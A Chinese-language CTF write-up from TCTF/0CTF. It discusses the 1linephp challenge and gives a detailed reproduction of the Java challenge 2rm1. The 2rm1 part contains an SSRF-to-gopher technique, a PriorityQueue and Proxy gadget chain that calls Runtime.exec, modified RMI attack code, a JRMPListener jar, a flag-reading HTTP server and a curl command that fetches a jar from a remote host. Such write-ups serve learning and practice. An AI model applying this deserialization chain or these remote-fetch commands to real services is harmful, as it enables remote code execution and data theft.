TCTF/0CTF
至尊难,认认真真搞了一天一个题都做不出来,虽然做出来题的队伍不多,但是我还是太垃圾了呜呜
赛后复现了2rm1,其中绝大多数的代码都是参考的rmb神仙,还超级提问麻烦了他几天,表示感谢
1linephp
搜了一下发现了orange在18年给hitcon出的题目
HITCON CTF 2018 - One Line PHP Challenge
唯一的差距就是把之前无限制的文件名加了一个.php后缀。难度提升
给了phpinfo,简单看了看没发现什么特殊点,感觉和default的差不多,upload progress开着,可以考虑用这个打一波
orange的题目是没有后缀限制所以可以直接upload progress包含对应的文件,phpinfo里面开了url_fopen,但是没开url_include,远程包含全部木大
本地包含我只能想到upload progress,然后PHP后缀只能拿zip或者phar这里打包的协议来绕
但问题和orange这个题是一样的,session中会自带垃圾数据,不论是phar还是zip都会被垃圾数据影响从而无法解析,orange可以用filter反复base64decode把所有垃圾数据清理,我尝试重复这样的操作,却发现zip协议和phar协议并不能在里面再套一层php://filter。计划破产
试了试把resource放到前面,过滤器放到后面,也不行,呜呜
改了改php.ini的upload progress cleanup想拿到一个upload progress的文件看一眼,但是不知道为什么没成功,为此浪费了好久。。。并且阿里云的机子想跑payload经常会因为奇怪的原因把我ban了,还是虚拟机好用。。。然后转到虚拟机,物理机能ping通虚拟机但是访问不上页面是什么玩意呢。怎么坑越踩越多,崩了崩了
update: 好了,虚拟机修好了,虚拟机ping的通访问不上,且虚拟机内能通过自己局域网ip访问到自己,99%是防火墙的问题,Ubuntu一般来说防火墙叫ufw,那个东西已经被我持续长久的关掉了,但是这次不知道是从哪又冒出来一个firewalld,搜了半天发现是这么个玩意,关了之后瞬间通
看wp
又到了我最喜欢的看wp环节,出题人的官方wp已经出来辣,虽然在这之前已经和CNSS的好姐姐进行了一波交流,得知了她的一个解,今天wp出来发现那是一个非预期,真是太强了呜呜,我太垃圾了
然后尝试着去硬看PHP源码,结果发现PHP源码调的是libc的库,然后libc的库没看就看不懂了,暂时告一段落
预期解是利用了libc对zip的解析方式,通过修改zip格式来实现解析,而非预期同样用一个比较简单的方式解决了这个问题,总而言之,一开始的思路是正确的,可惜的是我没有把握是不是一定对而没有过多的深究,思考的方向也不在解析上,呜呜呜,其实从一开始似乎就是在正确的道路上啊
出题人的wp
2rm1
是个java题,出于实在不知道该干什么而尝试进行java入门看的。能看出来应该是打一个RMI 反序列化。
给了三个部分,Server,Client,还有一个spider,翻翻docker-compose.yml,spider是我们可以访问到的,接受一个url,用curl -L
发请求,并且输入的url必须以https://
开头,server和client在内网里面,server本身也是registry,flag在client上
spider和client用spring boot起的web服务,可以接受get提交的参数发送对应的请求。
client和server的主要代码就是一套经典的RMI模板,并且之间传的参数也都是string,似乎不能直接反序列化,但是之前有看seebug一篇文章上将可以通过java agent或者其他的注入方法,将序列化的数据替换,也能实现传参基本类型的情况下完成反序列化
奇怪的前置知识
docker-compose中每个docker的那个名字就是docker在环境里的主机名,一开始我还以为要用spider去猜,而docker网桥的内网环境ip地址段较为固定,可以通过穷举去猜测。然后rmb告诉我那个就是主机名,远程通信的时候直接填这个主机名就可以了。。。呜呜呜我真不知道,我是废物
curl ssrf
man curl
翻了翻-L这个参数是干什么的,发现就是支持重定向。那这个意图也太明显了
肯定是先curl访问https然后重定向打内网ssrf
可以直接ssrf client,让client调用server的hello方法,但是没什么用。
考虑一下ssrf时还有一个常用的协议,gopher,通过发送原生tcp流就能通过巧妙的构造进行任意协议的发送
经过测试发现原来curl支持重定向的时候,连协议都能进行改变。因此可以直接在vps上放一个重定向然后直接打gopher协议
因为RMI调用和HTTP协议差不多,之间并没有先握手再通信之类的交互过程,就是用户发一个包服务器回一个包,所以能够用gopher简单的发原始tcp流量进行攻击。
攻击server
简单看一下dockerfile内容,发现Spider的jdk版本很高,而server和client均为jkd8u232,似乎刚好是registry拉满防御的那一个版本,因此并不能通过打registry来完成攻击
但是server和registry是同一台机器,可以考虑通过攻击server来控制目标主机。server只提供了一个以String为参数的方法供使用,因此不能简单地进行攻击,但对于接受非基本类型参数的方法的攻击在网络上已经出现了很多文章了,可以通过魔改代码等方式在接收类是非基本类型的时候硬发一个Object上去反序列化,而对于String的过滤是jdk8u242,因此这里的版本刚好能用。
抄了出题人的工具,把AttackServerByNonPrimitiveParameter中的payload直接魔改成这个题里面的gadget
构造payload
题目的gadget
package com.yxxx;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class Gadget implements InvocationHandler, Serializable {
public Gadget() {
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
try {
Runtime.getRuntime().exec((String[])((String[])args[0]));
} catch (Exception var5) {
var5.printStackTrace();
}
return null;
}
}
实现了InvocationHandler,且有一个invoke方法,可以把这个类作为一个代理类使用,而这里这个代理函数的效果就是无论你调用啥方法我都直接拿着你第一个参数exec
由于完全没有积累,并不知道怎么去摸出来一个反序列化过程能进行一个调用操作,这里抄rmb神仙的wp
public static Object genePayload(String[] cmd) {
try {
Comparator c = (Comparator)
Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Comparator.class}, new com.yxxx.Gadget());
PriorityQueue pq = new PriorityQueue(2, new Comparator() {
@Override
public int compare(Object o, Object t1) {
return 0;
}
});
pq.add(cmd);
pq.add(cmd);
Field field = pq.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(pq, c);
return pq;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
用常见的PriorityQueue整了一个链,前半段和CC2的触发环节差不多,在siftDownUsingComparator函数中,进行了comparator.compare(x, (E) c)
这么一个操作,调用了comparator的compare方法。在CC2中是令comparator为TransformingComparator,然后这个类的compare方法中调用了其transformer属性的transform方法,步入正轨,而这里我们直接把他的comparator赋值成我们的代理类,这样子在这里对字符串进行比较的时候,直接拿着这个字符串进行exec
攻击RMIserver
接下来就是怎么样打远端了,经过长时间的踩坑,看工具的源码等操作,我得出了如下几点结论
RMI调用分为两个阶段,lookup和call,需要先lookup从registry那里拿一个stub回来,再分析这个stub得到server相关信息,进而向server发起调用。
其中,lookup和call是分开的,这其间的通信就如同HTTP一样,是我发一个包你回一个包,因此可以通过gopher协议来先进行查询,再进行调用
lookup的请求是可以重放的,且只要方法绑定在registry上的name和方法的signature和本地的一致,就能通过重放本地流量的方式完成lookup的请求。
至于怎么算方法的signature,随便搜搜就有了
Compute a Java function’s signature
但是就算是完全一样的代码,在不同的机器上可能会因为生成的objid等原因导致lookup的结果并不一样,所以对应不同的环境还是要重新stub。
先手打一下本地,把lookup的请求流量存下来,放vps上整个页面用gopher进行内网ssrf。
然后再curl一下把得到的lookup返回的stub存到本地,魔改一下代码,把工具中attack函数中的第一个exploit函数改成直接读存到本地的stub文件,然后把得到的server提供服务的端口拿到
public static void attack(String filename, int registryPort, String lookupName, String methodSignature, Object payloadObject) throws Exception{
ObjID objID_ = new ObjID(0);
//Lookup
// byte[] returnData = Stub.exploit(registryHost, registryPort, lookupName, objID_, 2, 4905912898345647071L);
byte[] returnData = toByteArray("lookup.bin");
// System.out.print(Arrays.toString(returnData));
int index = KMPMatch.indexOf(returnData, "UnicastRef".getBytes());
byte [] serializationData = new byte[6+returnData.length-index-10];
serializationData[0] = (byte)0xac;
serializationData[1] = (byte)0xed;
serializationData[2] = (byte)0x00;
serializationData[3] = (byte)0x05;
serializationData[4] = (byte)0x77; // TC_BLOCKDATA
serializationData[5] = (byte)(returnData.length-index-10); //Length
System.arraycopy(returnData, index+10, serializationData, 6, returnData.length-index-10);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializationData);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
String tcp_host = objectInputStream.readUTF();
int tcp_port = objectInputStream.readInt();
System.out.println(tcp_port);
ObjID objID = ObjID.read(objectInputStream);
long hash = ComputeMethodHash.computeMethodHash(methodSignature);
Stub.exploit(filename, tcp_port, payloadObject, objID,-1, hash);
}
exploit也魔改一下,把对远程输出的内容写到本地,拖到vps上,再整个页面进行gopher转发
踩坑
一切看起来都非常的美好且顺利,但实际上我踩了无数个坑,虽然都是因为我太菜了。。。
- 完全相同的代码在不同的环境下lookup的stub不一致。虽然由stub生成的payload和目标主机的ip端口并无关系,但不同主机直接的stub并不一致。一开始我以为这个也是一致的就直接拿着本地返回的stub在打,浪费了好多时间。
- registry端口和service端口并不一致!!!虽然这是个显而易见而愚蠢的问题,但由于工具里是自动从stub里拿到服务的ip port,导致我并没有意识到这一点,打了一个下午都一直报
noSuchObject
的错误,找了好久,在这里再次感谢rmb神仙的指导呜呜呜呜,麻烦师傅了 - 不能直接把二进制文件读出来然后拼在gopher后面重定向,可以url编码一次,curl居然也能正常解析,但PHP的urlencode会把空格变成+,这似乎会影响curl重定向的解析,手动替换一下改成%20。
- 最好是能怎么样把原始数据存下来,之前因为一直打不通以为lookup的生命周期很短,所以我抄了一个java的http请求函数,但是这个函数用了utf8对结果解码,虽然好像在这里没有影响,但是rmb神仙还是建议我不要这么做并发出多个 气晕.jpg。呜呜呜,最好还是直接用curl访问直接写文件
写入jar包
命令执行了并没有什么用,server和client不能出网,并且反序列化一般没有回显,再之在server上执行命令并不能拿到client上的flag。而对client能做的就是用spider去触发他调用server的sayHello方法,所以思路应该是往server上写一个JRMPListener的jar包。当然,调用的方法已经在server上注册了,那个端口虽然能通过lookup拿到,但实际上是已经被占用了的,所以可以用rebind方法,把这个唯一的服务重新换一个端口,且端口可以在exportObject函数中固定,填0就是随机分配端口。但同样的,exportObject也会将这个端口占用,因此需要在registry上注册了这个端口之后把服务停了,然后在这个端口上起一个JRMPListener,代码如下(当然是抄rmb的,再磕一个头)
这里约定一个12345端口,然后在把yso里面JRMPListener给拉出来,把端口直接写死成约定端口,魔改一下
public class Rebinder {
public static void main(String[] args) {
try {
UserInter userImpl = new UserImpl();
UserInter user = (UserInter) UnicastRemoteObject.exportObject(userImpl, 12345);
Registry registry = LocateRegistry.getRegistry(1099);
registry.rebind("0ops", user);
System.out.println("rebind success!exit!");
System.exit(1);
} catch (Exception var4) {
var4.printStackTrace();
}
}
}
这里也踩了一天的坑,yso的JRMPListener中有几个外部依赖,其中有一个叫javassist,是用来魔改字节码之类的造一个类的。如果不去掉这个依赖,那么我们的简单Rebinder+JRMPListener缝合怪会直接700k+,但仔细跟入会发现,这个第三方库只在JRMPListener的一个构造函数中使用,而当前我们的情况并不需要这个构造函数,而是使用的另一个构造函数,仔细翻一下发现所有的第三方依赖均在当前的简单情况下为非必要的,都可以去掉。这样子就能把我们的缝合怪压缩到20k-
之所以要压缩缝合怪,是因为我们需要用之前的命令执行在server上echo来一个jar包,因此我们的这个jar包就会完全包含在我们的payload中,而payload是header重定向塞在gopher里的,payload过长会出现不可预知的错误,简单来说就是跑不通。
并且想echo二进制数据到文件,为了防止二进制数据中奇怪的字符串破坏命令,最好还要将二进制文件先base64encode一下,到时候在decode输出,防止出现奇怪字符导致的问题,但这样又会将整个文件的大小增加大概33%,更加跑不通了
尝试对扩张后的1000k文件进行分片压缩,分到100k每份,也跑不通
因此,听从rmb神仙的建议,翻了翻JRMPListener的依赖,把不必要的代码和依赖删掉,把缝合怪jar压缩到17k-,然后base64保障安全20k+,20k+能够直接一把梭写到server上,然后再改一下payload把jar跑起来
public static void main(String[] args) {
try {
System.out.println("start");
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"bash", "-c", "java -cp /tmp/servergadget.jar com.yxxx.Rebinder"});
p.waitFor();
p = r.exec(new String[]{"bash", "-c", "java -cp /tmp/servergadget.jar com.yxxx.yso.JRMPListener"});
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
JRMPListener里面的利用类就直接把题目给的gadget塞进去就行了,简单的利用简单的快乐。
攻击RMIclient
但面临着和攻击server的同样困境,client不通外网,且命令执行没有回显。也就是说之前对server的攻击其实全是盲打,完全不知道打没打通,所以本地复现的时候拿题目环境在本地搭了docker,边打边进docker看写进去了没。。。
攻击client同样也得想办法怎么外带出来,唯一的外带点就是我们可爱的spider。所以比较实用的方法是起一个HTTPserver,或者直接nc一个端口,连上来就给flag,python也能启动简单的httpserver,但是在docker里试了一下,诶,nc,python都没有。只能启动httpserver了。
那么现在的问题就在于,怎么再塞一个jar包到client上,同样的,我们也可以再echo到server上的JRMPListener里面的payload再塞一个echo,打好包的httpserver jar再echo出来,这样子的话就不能用可爱的spring boot了,这个玩意必定打包依赖,一打出来能用10M+,绝对的暴毙
百度了一下java原生类的httpserver,能打一个20k以内的jar包,功能就直接读flag拿出来了,其实代码还能再删减一点,整体base64超级打包应该能在50k内解决,但不知道50k能不能搞定,实在不行就分两半写入
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;
public class SimpleHttpd {
public static void main(String[] args)throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8083),0);
httpServer.createContext("/myserver",new MyHttpHandler());
httpServer.setExecutor(Executors.newFixedThreadPool(10));
httpServer.start();
}
}
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.OutputStream;
public class MyHttpHandler implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) {
try {
StringBuilder responseText = new StringBuilder();
BufferedReader in = new BufferedReader(new FileReader("/flag"));
StringBuilder flag = new StringBuilder();
String str;
while ((str = in.readLine()) != null) {
flag.append(str);
}
responseText.append(flag);
handleResponse(httpExchange, responseText.toString());
} catch (Exception ex) {
ex.printStackTrace();
}
}
private void handleResponse(HttpExchange httpExchange, String responsetext) throws Exception {
StringBuilder responseContent = new StringBuilder();
responseContent.append("<html>")
.append("<body>")
.append(responsetext)
.append("</body>")
.append("</html>");
String responseContentStr = responseContent.toString();
byte[] responseContentByte = responseContentStr.getBytes("utf-8");
httpExchange.getResponseHeaders().add("Content-Type:", "text/html;charset=utf-8");
httpExchange.sendResponseHeaders(200, responseContentByte.length);
OutputStream out = httpExchange.getResponseBody();
out.write(responseContentByte);
out.flush();
out.close();
}
}
rmb神仙提出了另一个极其巧妙的解决方案,可以让client调用curl通过spider在外网上下载,这样子就只需要在JRMPListener里面塞一句curl就能把vps上的jar包给下下来了curl http://spider:8080/?url=https://xxxxx/1.jar > /tmp/1.jar
然后再把JRMPListener的payload改一下启动简易http服务,spider访问拿到flag。
这么说来server那里也可以直接把命令改成curl通过spider下jar包,也就没有之前那么麻烦的去删依赖了
这里想到vps上直接用nc向外提供jar包,这样子的话如果连上来了还能有个回显,不至于太盲打
end
整体理下来这个题目似乎并不是非常的复杂,首先通过curl重定向更改协议,用gopher攻击rmi服务,在rmi服务上命令执行后启动一个JRMPListener,再通过spider触发client访问JRMPListener,做到在client上命令执行,最后想办法(比如http服务器)将flag外带
事实上,最后一步没有打通,也就是让client访问JRMPListener进行命令执行,但非常奇怪的点是,我进入client容器用spider下了一个直接进行RMI调用的jar包,然后运行那个jar包是能打通的,而用spider触发client去访问却打不通,最近要忙国赛和保研了,如果一切都顺利结束再回来填坑吧
致谢
没有rmb神仙的wp和连续两三天的高强度指导我肯定复现不出来这个题,期间因为我垃圾的基础知识还问了他很多愚蠢的问题,再次表示感谢呜呜呜